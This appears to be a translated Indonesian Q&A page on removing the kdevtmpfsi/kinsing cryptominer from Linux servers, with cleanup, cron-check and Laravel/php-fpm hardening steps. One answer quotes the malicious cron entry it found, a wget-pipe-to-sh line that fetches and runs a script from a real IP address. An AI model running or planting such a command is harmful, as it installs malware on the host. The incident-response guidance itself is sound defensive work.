GNU/Linux >> Belajar Linux >  >> Linux

kdevtmpfsi menggunakan seluruh CPU

Solusi yang disebutkan di sini berhasil untuk kami. Anda pada dasarnya membuat file yang digunakan penambang, tanpa hak apa pun, sehingga penambang tidak dapat membuat dan menggunakannya.https://github.com/docker-library/redis/issues/217

touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing

echo "everything is good here" > /tmp/kdevtmpfsi

echo "everything is good here" > /var/tmp/kinsing

touch /tmp/zzz

echo "everything is good here" > /tmp/zzz

chmod go-rwx /var/tmp

chmod 1777 /tmp

Saya memiliki masalah yang sama dengan Laravel di Centos 8, Ini adalah langkah-langkah yang saya ikuti untuk menghapus malware dan menambal sistem.

Menghapus malware dari langkah-langkah sistem:Langkah 1:

Hapus malware:
Bunuh kedua proses (kdevtmpfsi dan kinsing -Mereka bisa menggunakan nama yang sama tetapi dengan karakter acak di akhir-) menggunakan htop atau manajer proses lainnya.

htop F3 untuk mencari layanan kdevtmpfsi Dan kinsing

Gunakan berikut ini untuk menemukan dan menghapus file:

# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;

Outputnya akan terlihat seperti:

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

Langkah 2:

Periksa tugas cron:
periksa apakah ada pekerjaan cron yang akan menginisialisasi ulang malware.
Saya menemukan milik saya di:/var/spool/cron/apache>

UBUNTU /var/spool/cron/crontabs/www-data

Itu termasuk yang berikut:
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Langkah 3:

Buat file baru dan buat hanya untuk dibaca:

# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing

Menambal proyek Laravel:Langkah 1:

Matikan APP_DEBUG:
pastikan APP_DEBUG atributnya adalah false di .env karena itulah cara kerentanan mendapatkan akses.

Langkah 2:

Perbarui pengapian:
Perbarui pengapian ke versi yang lebih tinggi dari 2.5.1 untuk memastikan kerentanan ditambal.
jalankan perintah berikut di folder proyek Anda:

$ composer update facade/ignition

Saya telah berjuang dengan penambang ini selama beberapa hari dan dalam kasus saya itu adalah php-fpm:9000 pelabuhan terbuka.
Saya kira mungkin untuk menyuntikkan beberapa kode dari jarak jauh dengan cara ini.

Jadi jika Anda menggunakan docker dengan php-fpm , JANGAN lari wadah Anda dengan cara ini:

docker run -v /www:/var/www -p 9000:9000 php:7.4

Hapus pemetaan port:-p 9000:9000 .

Jangan lupa untuk membuat ulang &memulai ulang penampung Anda.

Detail selengkapnya di sini:https://github.com/laradock/laradock/issues/2451#issuecomment-577722571


Linux
  1. Ssh – Bagaimana Cara Mempercepat Login Ssh yang Terlalu Lambat?

  2. Menggunakan –exclude Dengan Perintah Du?

  3. Mendapatkan siklus cpu menggunakan RDTSC - mengapa nilai RDTSC selalu meningkat?

  1. Memecahkan masalah menggunakan sistem file proc di Linux

  2. Menggunakan Antarmuka Catur Universal

  3. Menjalankan aplikasi Qt melalui web

  1. Menggunakan kekuatan di baris perintah Linux

  2. Menggunakan Reddit dari konsol pada tahun 2020

  3. Apa overhead menggunakan subkulit?